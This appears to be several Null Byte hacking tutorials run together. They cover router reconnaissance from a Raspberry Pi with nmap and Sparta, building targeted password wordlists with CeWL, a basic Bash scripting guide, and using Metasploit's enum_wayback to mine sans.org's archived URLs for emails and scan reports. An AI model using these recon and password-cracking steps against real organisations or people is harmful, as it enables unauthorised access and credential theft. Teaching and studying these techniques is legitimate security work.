Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Nab Free eBooks Using GoogleHow To:Search for Google+ Posts & Profiles with GoogleHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Download Your Data with Google TakeoutHow To:Carve Saved Passwords Using CainHow To:log on Windows 7 with username & passwordGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Remove a Windows Password with a Linux Live CDHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:An Entry Level Guide to Finding and Reading Logs (And Maybe Staying Out of Jail)Hack Logs and Linux Commands:What's Going On Here?Goodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Make Your Laptop Theft ProofHow To:Hack Mac OS X Lion PasswordsHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenHow To:Bypass Windows and Linux PasswordsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Edit Your Google+ Account Settings
Raspberry Pi: Physical Backdoor Part 2 « Null Byte :: WonderHowTo
In my lastpostI introduced how to use ncat to connect to your Pi remotely, but what's the point to if you can't actually hack? This tutorial I'm gonna show you how to use very simple tools for a much bigger purpose. With that said, boot up our Pi and lets wreck havoc.ReconI should say that this is a experimental concept, but I've been testing this theory several times and should work. Now, the first step is to figure out the router Ip address. I know you can use eitherKismetorAircrack, but for some reason Aircrack isn't working on my Pi, I suspect the wireless card isn't supported, and Kismet is much to complicated for the level of skill for these mini tutorials. Of course this is a problem, but I have thought up another unusual method to get the job done. I have looked at the tools that I have and that work on my Pi. I noticed something, Nmap can scan a network and send back the operating system of every system. Why does this has to do with anything? Nmap scan with the -O flag tells us almost any operating system. With that being said lets open up a terminal and Type:nmap -sS -O (Ip/24)As you can see here we added the -O flag and I should note that the Ip should be your Raspberry Pi since that's one that you know currently,but you could also use just a zero. This type of scan will do the usual scan except this time our results will show the OS also. The Ip of the router should have the OS of one of the routers that exist, for example:BelkinFortinetNetgearNote the Ip address of the router. This scan is only the basics and if you want you can add different flags like '-T'. Knowing which flags to use is crucial.SpartaNow that we have the Ip of the router, open up Sparta or if not installed yet, type:apt-get install SpartaAdd in 'sudo' at the beginning if you aren't in root.Sparta is in my opinion a script kiddie tool (I prefer nmap), but there's one feature that we need. Sparta automatically takes a picture of the current page that is up on the system and displays it. This is extremely handy when gathering information on the system. I should note that when I ran Sparta against my home router, a picture of my router's homepage was screenshotted and displayed a ton of information just from the homepage. This is the purpose of why we're using Sparta. With that being said, double click on the left side that has a white box that has a message displayed (I can't think of it at the top of my head right now) and another box should pop up asking you for the Ip, do not add /24 to the end of the Ip. Make sure both of the boxes are checked at the bottom and click 'add to host'. Now sit back and let Sparta do its magic.Eventually it will be done with its scans and it will tell you in the open terminal that automatically opens up when you open the Sparta tool. Once a message tells you that you are done, go back to the gui and on the right box there should be tabs at the top. Click the one that says screenshot (usually on port 80) and if successful a screenshot is displayed showing you the router's homepage.ConclusionI know there's probably a easier method, but that's not my point. My point is to show that even tools for one purpose can be used for a completely different purpose than what was intended. With that being said, please give me feedback and suggestions but give me some lovins also. Please and thanks. :)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedRaspberry Pi:Physical Backdoor Part 1How To:Build a Portable Pen-Testing Pi BoxHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Share Wi-Fi Adapters Across a Network with Airserv-NgRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin Tins
Hack Like a Pro: How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL) « Null Byte :: WonderHowTo
Welcome back, my novice hackers!In my series oncracking passwords, I began by showing off some basicpassword-cracking principles; developed anefficient password-cracking strategy; demonstrated how to useHashcat, one of the most powerful password-cracking programs; and showed how to create a custom wordlist usingCrunch. In this tutorial, I will show you how to create a custom wordlist based upon the industry or business of the targets usingCeWL.Most password-cracking programs are only as good as the wordlist that you provide them. Brute-force password cracking is very tedious and time consuming, but if you can find an appropriate and well-designed wordlist that is specific to the user whose password you are trying to crack, you can save yourself hours—maybe even days—of password cracking.Crunch is great at creating wordlists based upon a set of rules such as the number of characters, the character set, etc., but doesn't enable us to choose a wordlist that is particular to a business or industry or interests. We humans are not always very creative and often fall victim to the familiar,especially when generating passwords. If we understand that, it can be helpful to finding potential passwords and generating a relevant password list.For instance, employees at a construction company are more likely to use words for passwords that are used in their industry, such as lumber, girder, build, soffit, eave, etc. People in the drug industry are more likely have passwords such as prescription, drug, narcotic, barbiturate, etc. You get the idea.It's simply human nature that words that we use in our everyday experience will first pop into our heads when we are considering passwords. That's why so many people use their pet's name, spouse's names, children's names, birthdates, street address, anniversaries, etc. They aren't very creative and use words and numbers that first come to mind.We can use this lack of creativity to develop a specific wordlist for a specific company or industry. That's what CeWL can do for us. It's designed to grab words from the company's website to create a wordlist specific to the company in order to crack passwords of the users at that business.Let's get started.Step 1: Fire Up Kali & CeWL HelpFirst, fire up Kali and open a terminal. Next, let's type the "cewl" command and get its help screen.kali > cewl --helpNote the depth (-d) and the min_word_length (-m) switches. The -d switch determines how deep (the default is 2) into the website CeWL will crawl grabbing words, and the -m switch determines the minimum length of words it will grab. Since most firms have a minimum password length, there's no need to grab short words. In this case, I will be setting the minimum to 7 letters.Step 2: Build a Custom List with CeWLNow, to build a custom wordlist, we set CeWL to scraping words from the website of our friends atSANS Institute. We can do this by typing:kali > cewl -w customwordlist.txt -d 5 -m 7www.sans.orgLet's break that down.-w customwordlist.ext: the -w means write to the file name that follows.-d 5: the depth (in this case, 5) that CeWL will crawl to website.-m 7: the minimum word length; in this case it will grab words of 7 characters minimum.www.sans.org: the website we are crawling.This command will then crawl the sans.org website to a depth of 5 pages, grabbing words at least 7 letters long. After several hours of crawling through the website, CeWL places all of the words it found into the filecustomwordlist.txt. We can then open it with any text editor; in this case, we will use Leafpad.kali > leafpad customwordlist.txtThis will open the file like that below.Note that these words are a reflection of the industry that SANS Institute is in—information security.Step 3: Combine This List with a List Generated by CrunchNow, combine this wordlist with another wordlist, or onegenerated by Crunch. Place these words first as they are specific to this user or company and are more likely to be correct.Of course, we can use CeWL to create custom wordlists for password cracking targets other than employees at a particular company. For instance, if we know the individual who is our target is a soccer fan, we use CeWL to crawl a soccer site to grab soccer related words. That is, we can use CeWL to create specific password lists based upon just about any subject area by simply crawling a website to grab potential keywords.Stay tuned: we will continue to explore new and better ways to crack passwords inthis series, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHow To:Use Wordlister to Create Custom Password Combinations for CrackingHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Create Custom Wordlists for Password Cracking Using the MentalistHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Use Acccheck to Extract Windows Passwords Over NetworksHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)How To:Hack WPA/WPA2-Enterprise Part 2How To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraAdvice from a Real Hacker:How to Create Stronger PasswordsHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)News:Advanced Cracking Techniques, Part 1: Custom DictionariesGoodnight Byte:Coding a Web-Based Password Cracker in PythonNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Hack Mac OS X Lion Passwords
How to Write Your Own Bash Scripts to Automate Tasks on Linux « Null Byte :: WonderHowTo
Bash scripting is a convenient way to automate things on any Linux system, and we're going to use it here to automate certain tasks we use all the time.Bash is a simple language for stringing together several different Linux utilities. Its simplicity makes it easy for beginners to create lots of scripts that would otherwise be pretty complicated or require some pretty hefty programming skills.If you know the right Bash commands, you can do all sorts of things. In this guide, we'll use Bash to automate a few commonly used tasks. We'll also cover aliasing briefly, which will make things even more convenient. For instance, if we have something we want to do, we'll just use an alias command to call a Bash script and have it run whatever it's programmed to do so that we don't have to run and call the script manually every time from wherever it's saved.RequirementsTo follow along, all you'll need is anUbuntuorKali Linuxsystem. Really, any Linux system will do. If you want to pick up a Linux system and you've never tried this before, you can always grab aRaspberry Pioranother single-board computerto run a Linux build on.On Amazon:Great Deals on Raspberry Pi BundlesStep 1: Find You Bash InterpreterTo get started, we need to know which Bash interpreter we're using. To do so, usewhich bashin a terminal window. Learning the location of the interpreter will be useful when writing our first Bash script.~# which bash usr/bin/bashStep 2: Make Your First Bash ScriptTo start a new Bash script, create and open a new Bash file called "bash.sh" or whatever you want to call it. The important thing is that it ends in the "sh" extension. We'll be creating a super basic script to illustrate one easy thing it can.~# nano bash.shIn the document, start the first line with a shebang (#!) followed by the location of your Bash interpreter (for me, it'susr/bin/bash). When the program is opened, this will tell it how to interpret the language we're writing the rest of the script in.#! /usr/bin/bashLet's create a variable to make something happen. For something simple, we'll just use aSTRINGthat saysNull Byte. You could make it say whatever you want.STRING="Null Byte"Now we want toechosomething back. In our example, we'll echo"Hackers love to learn on $STRING"where $ indicates a call to a variable, in this case, STRING. What this will do is print the message, swapping out $STRING for whatever your STRING is.echo "Hackers love to learn on $STRING"Here's what the script should look like as a whole:#! /usr/bin/bash STRING="Null Byte" echo "Hackers love to learn on $STRING"Save your script by hittingControl-Xon your keyboard to exit, thenYto save the modified buffer, and thenEnterto save the file. This will bring you back to the terminal window. To test out the script, usebash bash.sh(or whatever you named it) to call the script. You should see the echoed message appear. Success!~# bash bash.sh Hackers love to learn on Null ByteStep 3: Use Positional VariablesLet's go back into the Bash script and try out some positional variables, so nano back into the bash.sh file. This time, instead of having a STRING already in the program, we want the user to pass variables into the script. Since we want to try out multiple variables, we'll need to indicate their order.In our example, we'll change the script to a fill-in-the-blank program that saysecho "I firmly believe that $1 is the best $2 for the office of $3"(you could make it say anything you want). The dollar signs are calling variables, and the numbers say in what order. That way, when someone tries to run the script, they can add variables to the end ofbash bash.shbefore running it. We're putting in a simple 1, 2, 3 order, but you could change it to 3, 2, 1 or 2, 3, 1 if you wanted.#! /usr/bin/bash echo "I firmly believe that $1 is the best $2 for the office of $3"Save your script again withControl-X, thenY, thenEnter, and you'll be back at the terminal window. To test out the script, usebash bash.sh(or whatever you named it) to call the script, but this time, let's add some variables with each one within its own double quotation marks. If you're only using single words for each variable, you don't need the quotation marks.~# bash bash.sh "Vermin Supreme" "candidate" "president" I firmly believe that Vermin Supreme is the best candidate for the office of presidentEach variable should have taken over the $1, $2, and $3 positions in the printed text. The first given variable would take the $1 slot, the second would take over $2, and the third would go where $3 is. In our example, that gives us "I firmly believe that Vermin Supreme is the best candidate for the office of president."As you can see, Bash scripting is a straightforward way to take in a couple of things like variables and distribute them throughout your script. That way, you can adapt to something that might be piped in from another script or otherwise selected by the user.Step 4: Run Commands & Return Their OutputNext, we want to try to create something inside the script that depends on another tool being run. So nano back into the script and replace the echoed text with something that results from something being run.In our example, let's print the result of a particular command. Afterecho, use a$right away, but this time add parentheses right after it. Whatever command we put inside the parentheses will be run when the program is activated, and the result of the command will be what's printed to the user.You could use something likeifconfig, but to make it easy, we're going withwhoami, which will tell the person running the script what user on the system they are currently using.#! /usr/bin/bash echo $(whoami)Save your script again withControl-X, thenY, thenEnter, then test out the script withbash bash.sh(or use whatever you called it). As you can see, I'm currently the "root" user, which isn't surprising seeing that my prompts in the terminal end with a # sign.~# bash bash.sh rootStep 5: Take User InputSo what about interactivity? Bash scripting has that down as well. Open thebash.shfile back up in nano, and we'll create a script that asks the terminal user to input something, which will then be our variable for whatever we want to print out with echo.For our example, we'll useechoto print to the user"What is your name?"Then, on the next line, we'll add a variable ofnamewith thereadcommand. Whatever they input after being asked the question will be seen by our program. To use the variable, let's useechoto print a statement about the name they inputted. The statement uses$nameto indicate it should be swapped with the variable they give us.#! /usr/bin/bash echo "What is your name?" read name echo "Wow, $name sounds like a punk"Save your script again withControl-X, thenY, thenEnter, then test out the script withbash bash.sh(or use whatever you called it). As soon as it's run, it'll ask the user for their name. What we've done here was added a bit of interactivity. They'll type out their name and hitEnter, and instantly, our program will see the name, use that instead of "$name" in the echo command, and print the statement out for the user.~# bash bash.sh What is your name? Retia Wow, Retia sounds like a punkWe've just created an argumentative Bash script that can take in something and insult the user. However, this is far more useful in other scenarios. For example, putting in a variable to see where a particular interface is, which port an Arduino board is connected to, or to flash a bunch of microcontrollers simultaneously. The first step to that last one is selecting which port they're connected to, so custom Bash tools can be pretty convenient.Step 6: Create If StatementsLet's try something a little more advanced, which areifstatements. We can use conditional statements to put controls in our program to see whether something exists or matches a specific value. Let's go back into thebash.shscript and change a few things.If we want to see whether or not the user has actually input a name, we can use anifstatement. This is a pretty typical example. So let's keep the firstecholine where it is, as well as thereadline. But let's swap out the secondechocommand with differentecholines forifandelse.Useiffollowed by a space, then add a pair of brackets. Inside those brackets, put the variablenamewith spaces on each side of it. If you skip the spaces, you'll get an error. Afterward, type a semicolon (;), another space, andthenfor the ending. On the next line, indent and put anechostatement. Here, we'll just use"$name sounds alright to me"to keep it simple. So if someone inputs a name to the program, it will recognize it and print that statement out with their name instead of "$name."But what if somebody just hitsEnterto skip the question? On the next line, putelsein, and that's it. On the following line, indent and add anotherechoprintout. We'll go with"Doesn't sound like anything to me"to tell them they have no name.Lastly, on the script's very last line, add theficommand, which just says that the script is finished. Without this, you'll get errors because when you have loops such as anifstatement, they don't end automatically — you have to tell them to quit.#! /usr/bin/bash echo "What is your name?" read name if [ $name ]; then echo "$name sounds alright to me" else echo "Doesn't sound like anything to me" fiIf the user wants to input a first and last name, we need to make one tiny change to this script. If not, you'll get a "null: unary operator expected" error, and it will result in the else echo being printed. What you need to do is put double quotation marks around $name in the if line. Doing that should allow more than one word for the name input.#! /usr/bin/bash echo "What is your name?" read name if [ "$name" ]; then echo "$name sounds alright to me" else echo "Doesn't sound like anything to me" fiSave your script again withControl-X, thenY, thenEnter, then test out the script withbash bash.sh(or use whatever you called it). Run the script, and you'll get the prompt to enter your name. If you enter your name, it'll say that it "sounds alright."~# bash bash.sh What is your name? Retia Retia sounds alright to meHowever, if you just hitEnterwithout typing any characters, it will use the else to say that it "doesn't sound like anything." So the script is reacting to you.~# bash bash.sh What is your name? Doesn't sound like anything to meHaving a program that can react to user input is important if you want to start using Bash scripting to do more advanced things.Step 7: Use Bash in Terminal CommandsI'm not going to do anything else with the script we've been messing with. Instead, we'll try out some terminal commands relevant to Bash scripting and are super easy.Let's say that we want to learn something about the computer, and we don't want to pipe through a whole bunch of different outputs. Without a Bash script, you could type something likeifconfigto get a whole lot of information about the computer's interface parameters. To narrow it down, you could pipe it intogrepand target more specific information. Soifconfig | grep broadcastis a good example.~# ifconfig | grep broadcast inet 192.168.1.169 netmask 0xffffff00 broadcast 192.168.1.255Above, you can see that I've identified my IP address, which is in a string that has the word "broadcast" in it. So if you wanted to find your current IP address on the network with a one-liner, you could use this not to have to dig into a ton of information just to find one piece of data.Let's try that again, but let's narrow it down to just the IP address. For that, we can use a tiny Bash script. Keep everything the same, but add another pipe to the end, followed byawk '{print $2}'— awk lets us choose a specific word from the output, and print $2 will pull the second item in the output and print it back to us.~# ifconfig | grep broadcast | awk '{print $2}' 192.168.1.169What that one-liner does is filter all of the information in ifconfig by "broadcast" using grep, and then the result of that is filtered down to show us the IP address, which is in the second position on the broadcast line that was filtered first.Now, that's an awfully long command to type out every time you need to see your current IP address on the network. This is where aliasing comes in handy. Aliasing is the best part of developing an excellent Bash script.To turn a one-liner into a single-word command using aliasing, you would typealias, space, and then the simple command you want to run the one-liner. For this,ipaddressmakes sense since it's short but descriptive. Next, without a space, add an equals (=) sign. Right after that, put a double quotation mark ("), copy and paste the one-liner we just used, then add an ending double quotation mark.~# alias ipaddress="ifconfig | grep broadcast | awk '{print $2}'"HitEnterand test it out to see what you get.~# ipaddress inet 192.168.1.169 netmask 0xffffff00 broadcast 192.168.1.255As you can see, that didn't do what we wanted, and that's because the single and double quotation marks are messing it all up. To avoid that, we can simply typeechothen put the one-liner inside parentheses with a$before the first parenthesis to indicate that everything inside the parentheses is the variable we want to be printed.~# ipaddress="echo $(ifconfig | grep broadcast | awk '{print $2}')"HitEnterand test your new alias command out again, and it should work.~# ipaddress 192.168.1.169As you can see, knowing about the $ sign to make the command run first before the result is printed got us around the issue of trying to automate the process of typing in a single word and getting your current IP address whenever it first failed.Happy Bash Scripting!This has been a brief Bash scripting intro. There a lot of stuff you can do with Bash, but in general, this is a great way to get started automating just about anything you want to do in Linux.Bash scripting is an incredibly useful skill to learn, and you don't need to know a lot about programming to duct-tape together a lot of different Linux apps and tools to make something complicated and lengthy to something easy and short.Don't Miss:How to Write Your Own Bash Script to Automate ReconWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Retia/Null ByteRelatedDon't Be a Script-Kiddie part1:Introduction to Shell ScriptHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Don't Be a Script-Kiddie part2:Building an Auto-Exploiter Bash ScriptHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)How To:Use LinEnum to Identify Potential Privilege Escalation VectorsHow To:Using BASH for Computer ForensicsNews:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHow To:Evil-Twin (Part 1) - Setting Up the Dhcp Server.How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)How To:Create a Persistent Back Door in Android Using Kali Linux:Hacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Convert video formats with Avidemux on Ubuntu LinuxHow To:A Simple Virus Written...in Bash!How To:Use predefined workflows in Microsoft Office: Mac 2008How To:Easily Find What Port a Service Runs On and Vice-VersaHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHack Like a Pro:How to Hack the Shellshock VulnerabilityWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Bash (Shell) Scripting for BeginnersNews:The Money Making MacroHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:First Steps of Compiling a Program in LinuxHow To:Script Writing Basics How to Structure a Film Script lNews:Null Byte Is Calling for Contributors!News:Change from BASH to zshWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create a Custom Arch Linux DistroNews:Bind your own Hardback Book
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Throughoutthis series on Metasploit, and in most of my hacking tutorials here on Null Byte that use Metasploit (there are many; type "metasploit" into the search bar and you will find dozens), I have focused primarily on just two types of modules: exploits and payloads. Remember, Metasploit hassix types of modules:ExploitPayloadAuxiliaryNOP (no operation)Post (post exploitation)EncoderAlthough most hackers and pentesters focus on the exploits and payloads, there is significant capability in the auxiliary modules that is often overlooked and ignored. About one-third of all of Metasploit—measured by lines of code—is auxiliary modules. These auxiliary modules encompass the capabilities of many other tools that a hacker requires, and include various types of scanners (includingNmap),denial-of-servicemodules, fake servers for capturing (admin) credentials,fuzzers, and many more.In this tutorial, I want to explore and illuminate one of the auxiliary modules that can make hacking with Metasploit much more effective and efficient.Step 1: List the ModulesFirst, let's fire upKaliand open a terminal. In Kali, Metasploit modules are stored at:/usr/share/metasploit-framework/modulesLet's navigate there:kali > cd /usr/share/metasploit-framework/modules/Then, let's list the contents of that directory:kali > ls -lAs you can see, there are six types of modules in Metasploit, as mentioned before. Let's focus our attention on the auxiliary modules.Step 2: List the Auxiliary ModulesFirst, navigate to the auxiliary module directory and list its contents:kali > cd auxiliarykali > ls -lAs you can see, there are numerous subdirectories of auxiliary modules. Inan earlier tutorial, I pointed out that there are hundreds of auxiliary modules for DoSing in Metasploit. In this tutorial, we want to work with the scanner modules. Metasploit has scanning modules of just about every type, includingNmapand website vulnerability scanning.Step 3: The Wayback MachineAs many of you know, recent years have seen an increased emphasis on information security. Webmasters and IT security personnel are more vigilant about what goes onto their website, trying to make certain that information that might be used to compromise their security is not posted.If we go back just a few years, that was not the case. Companies often would post email addresses, passwords, vulnerability scans, network diagrams, etc. on their website, not aware that someone might find these and use them for malicious purposes. Although I still occassional find a company listing email addresses and passwords on their website, this has become much less common.Fortunately for us, nothing ever disappears from the web. If it's here today, it will be here 20 years from now (keep that in mind when posting on Facebook or other social media sites).The Internet Archive (Archive.org) was established to save free books, movies, music, software, along with all of the old web information via itsWayback Machinetool (which is a reference to an old cartoon where the main characters, Mr. Peabody and Sherman, would travel back in time in a time machine they called the "WABAC Machine"). This means that if a company had, at one time, stored email addresses and passwords on their webpages, or Nessus scans, it is still around somewhere on Archive.org.Step 4: Use Metasploit to Retrieve Deleted WebpagesFortunately for us, Metasploit has an auxiliary module that is capable of retrieving all of the old URLs from Archive.org that are stored for a particular domain. Since the Internet Archive's website tool is referred to as theWayback Machine, Metasploit has a module calledenum_wayback, short for "enumerate wayback" machine.Let's start the Metasploit console and load it:kali > msfconsoleWhen the msfconsole opens, let's load the wayback module by typing:msf > use auxiliary/scanner/http/enum_waybackThis module basically has just two parameters to set:The domain we want to search for on archive.orgThe file we want to save the information inSince we will be using theSANS.orgas our target, let's set the output to a file namedsans_wayback:msf > set OUTFILE sans_waybackNext, let's set the domain to our favorite IT Security domain:msf > set DOMAIN sans.orgStep 5: Start the Wayback MachineUnlike exploits in Metasploit where we typeexploitto start them, auxiliary modules are initiated by typingruninstead:msf > runThis module will now go to Archive.org and begin to retrieve every saved URL of SANS.org over the years. In the case of SANS.org, it is over 96,000 URLs! Since we told this module to store all of the URLs in a file named "sans_wayback," all these URLs are written to this file.When the module is done running, we can look inside this file by typing:kali > more sans_waybackWhen we do, we can see that Archive.org has stored the first URL from 1998. With over 90,000 URLs, visual inspection looking for interesting information is not really practical. Fortunately, god gave us thegrepcommand.If we want to find the URLs with emails stored in them, we can type:kali > more sans_wayback | grep emailAs you can see in the screenshot above, there are quite a few URLs pertaining to email. The one I have circled in red looks particularly interesting,email_list.htm.It is not unheard of for companies to put their vulnerability scans on their website for the security and network personnel to view (and the rest of us). As Nessus is the world's most widely used vulnerability scanner, let's see whether we can find it among these old webpages.kali > more sans_wayback | grep nessusAs you can see above, we have found three webpages with Nessus in them in the "audit" directory. Hmmm... that might be interesting... maybe some Nessus scan reports from the past?This approach to finding deleted information is limited to the information in the URL. We could actually take these URLs and view them in our browser at Archive.org to see whether we can find text information on the page that might be useful. Maybe a better approach would be to download the interesting URLs that this module enumerated directly to a hard drive usingHTTrack, then do a text search on the entire web content.Keep coming back, my greenhorn hackers, as we explore the workings of the hacker's best friend,Metasploit!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Mac for Hackers:How to Install the Metasploit FrameworkHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Safari 101:How to Save a Website or Webpage to Your Home Screen for Instant AccessGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHow To:Conceal a USB Flash Drive in Everyday ItemsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking Simulations